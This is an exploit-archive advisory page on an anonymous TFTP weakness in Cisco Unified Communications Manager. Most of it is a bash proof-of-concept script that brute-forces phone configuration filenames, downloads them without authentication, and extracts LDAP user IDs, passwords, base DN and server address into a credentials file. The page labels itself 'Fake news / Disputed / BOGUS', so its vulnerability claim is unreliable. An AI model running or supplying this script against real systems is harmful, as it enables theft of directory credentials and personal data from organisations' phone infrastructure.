WARNING! Fake news / Disputed / BOGUS

Cisco Unified Communications Manager - TFTP Service

2013-12-12 / 2013-12-13
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

#!/bin/bash ####################################################################### # Proof of Concept on how to get tftp config files from cisco phones # # This can be performed anonymously and privileges gathered relies on # # those assigned to the ldap account # # Developed by Daniel Svartman (danielsvartman@gmail.com # # In case tftp files are encrypted, you will need to hijack a phone # # and download the decryption key from the ROM memory # ####################################################################### # This example below is for enumerating and downloading configuration files from phones # With this you can gather personal information and sometimes also credentials from LDAP # The first 8 digits of the MAC address relies on cisco mac address used by phones # While the last 4 are generated automatically BASE_MAC=$1 TFTP_SERVER=$2 perl -e '$var = 0x0001; for (1 .. 65535 ) { printf qq[%04X\n], $var++ }' > mac.txt #Now we should download the files while read LINE; do tftp ${TFTP_SERVER} -c get SEP${BASE_MAC}${LINE}.cnf.xml done < mac.txt #Finally, we download and process also the SPDefault.cnf.xml file tftp ${TFTP_SERVER} -c get SPDefault.cnf.xml USERID=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 6 | cut -d "<" -f 1` echo "USERID: " $USERID > credentials.txt PWD=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 8 | cut -d "<" -f 1` echo "PWD: " $PWD >> credentials.txt BASE_DN=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 10 | cut -d "<" -f 1` echo "BASE_DN: " $BASE_DN >> credentials.txt while read LINE; do if [ "$LINE" = "<ProductType>Directory" ]; then read LINE ADDRESS=`echo $LINE | cut -d ">" -f 2 | cut -d "<" -f 1` echo "LDAP_IP_ADDRESS: " $ADDRESS >> credentials.txt fi done < SPDefault.cnf.xml echo "Done - Please, check credentials.txt file, also review all the SEPxxxx.cnf.xml files for further credentials"


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